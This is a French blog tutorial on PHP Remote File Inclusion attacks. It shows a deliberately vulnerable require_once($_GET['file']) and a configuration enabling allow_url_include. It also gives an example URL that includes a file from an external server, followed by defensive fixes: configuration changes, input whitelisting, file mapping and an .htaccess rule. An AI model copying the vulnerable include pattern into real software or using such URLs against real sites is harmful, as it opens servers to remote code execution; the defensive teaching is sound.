Attaques Remote File Inclusion

mieux protéger une application internet

Ce site ne sera plus alimenté de contenu après août 2014. Tous les nouveaux articles seront redigés pour www.waitingforcode.com
PHP est un langage vieux de presque 20 ans. Au fil de ces années beaucoup d'application web ont vu le jour. Certaines basées sur la lecture des fichiers peuvent subir les attaques de Remote File Inclusion (RFI).

Au début de l'article on verra en quoi consiste cette attaque. Cette première partie contiendra également une trace historique qui montrera les applications web ayant été vulnérables dans le passé. Ensuite on présentera des moyens de protection.

Remote File Inclusion
RFI est rien d'autre que l'accès au fichier non autorisé par la requête. Imaginons, que notre application rend possible la visualisation des galeries de photographies. On regarde les images en appelant cette URL :


http://mywebapp/bootstrap.php?file=image.php&image=gal1/image01.jpg


Du côté PHP, on aura alors un fragment suivant qui se chargera d'afficher la page contenant l'image image01.jpg :

// bootstrap.php
<?php
require_once($_GET["file"]);


Pour mener une attaque RFI, il suffit que la configuration PHP admette l'inclusion et l'ouverture des URL externes (allow_url_fopen et allow_url_include en "on"). Pour être sûr que c'est le cas, voici le fragment qu'il faut mettre dans le fichier de configuration PHP :

; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-fopen
allow_url_fopen = On

; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-include
allow_url_include = On


Le fichier autorisé (image.php) aura le code suivant :

<?php
echo "Show image";


Le fichier non autorisé qu'on va transférer sur un serveur externe, aura le code suivant :

<?php
echo "Show remoted image";


En jouant avec le paramètre "file", on va avoir deux affichages différents :
- pour l'URL http://mywebapp/bootstrap.php?file=image.php&image=gal1/image01.jpg on verra "Show image"
- pour l'URL http://mywebapp/bootstrap.php?file=http://myremotewebapp/remoted.php&image=gal1/image01.jpg on aura sur l'écran "Show remoted image"

Parmi les années beaucoup d'applications web ont subi des attaques RFI. Plusieurs fois sont citées les extensions du CMS Joomla (par exemple dans le module des visites). La faille a aussi été découverte dans Mambo. Même une des versions inférieures du système e-commerce phare de ce moment, Prestashop, n'a pas été épargné.

Se protéger contre Remote File Inclusion
Quels moyens de protection on peut utiliser contre Remote File Inclusion ? Tout d'abord, et avant tout, il ne faut pas admettre l'inclusion des fichiers distants. La directive allow_url_include doit être paramétré en "off". En outre, si vous êtes certains de ne pas avoir besoin d'accéder à des sources externes, la directive allow_url_fopen peut être également désactivée.

Regardons ce que donne notre attaque avec la nouvelle configuration de notre serveur :
- pour l'URL http://mywebapp/bootstrap.php?file=image.php&image=gal1/image01.jpg on verra "Show image"
- pour l'URL http://mywebapp/bootstrap.php?file=http://myremotewebapp/remoted.php&image=gal1/image01.jpg on aura sur l'écran les message d'erreur "http:// wrapper is disabled in the server configuration by allow_url_fopen=0"

L'autre solution peut se baser sur un contrôle plus stricte de l'inclusion des fichiers dans notre bootstrap.php . Tout d'abord, on peut valider si le nom du fichier contient uniquement les caractères définis (admettons les caractères alphanumériques, les underscores et les points). En plus de cela, on peut rajouter un répertoire de base contenant notre application, ce qui forcera l'application à chercher le fichier sur notre serveur.

// bootstrap.php
if(preg_match("/^([A-Za-z0-9_.])+$/i", $_GET["file"]))
{
require_once($baseWebappDir.$_GET["file"]);
}
else
{
echo "Show 404 not found page";
die();
}


Ensuite on peut sophistiquer un peu plus notre mode d'inclusion des fichiers. Au lieu d'utiliser les en clair on peut utiliser un mapping lié au fichier de configuration. Par exemple en appelant l'URL http://mywebapp/bootstrap.php?file=1&image=gal1/image01.jpg, on inclura image.php :

// bootstrap.php
$config = array(0 => "index.php", 1 => "image.php", 2 => "view.php");
if(!isset($config[(int)$_GET["file"]]))
{
echo "Show 404 not found page";
die();
}
require_once($baseWebappDir.$config[(int)$_GET["file"]]);


Quatrième solution peut se baser sur une règle de réécriture .htaccess qui bannit toutes les URL contenant le nom d'un protocole dans le paramètre.

RewriteEngine On
# If our query string contains some http or ftp GET parameters, redirect it into /
RewriteCond %{QUERY_STRING} ^.*=(ht|f)tp\://.*$
RewriteRule .* /


A travers cet article on a vu que pour se protéger contre Remote File Inclusion il faut prendre en compte deux aspects de notre application web : la configuration du PHP ainsi que la sécurisation du code. Et, avant tout, il faut appliquer la règle d'or : "ne pas faire confiance aux données venues de l'extérieur".
Bartosz KONIECZNY 17-06-2012 10:03 sécurité des applications web
Un conseil Symfony1

Comment afficher tous les paramètres d'une requête ?

Pour afficher tous les paramètres d'une requête, il suffit d'appeler la méthode getParameterHolder()->getAll() .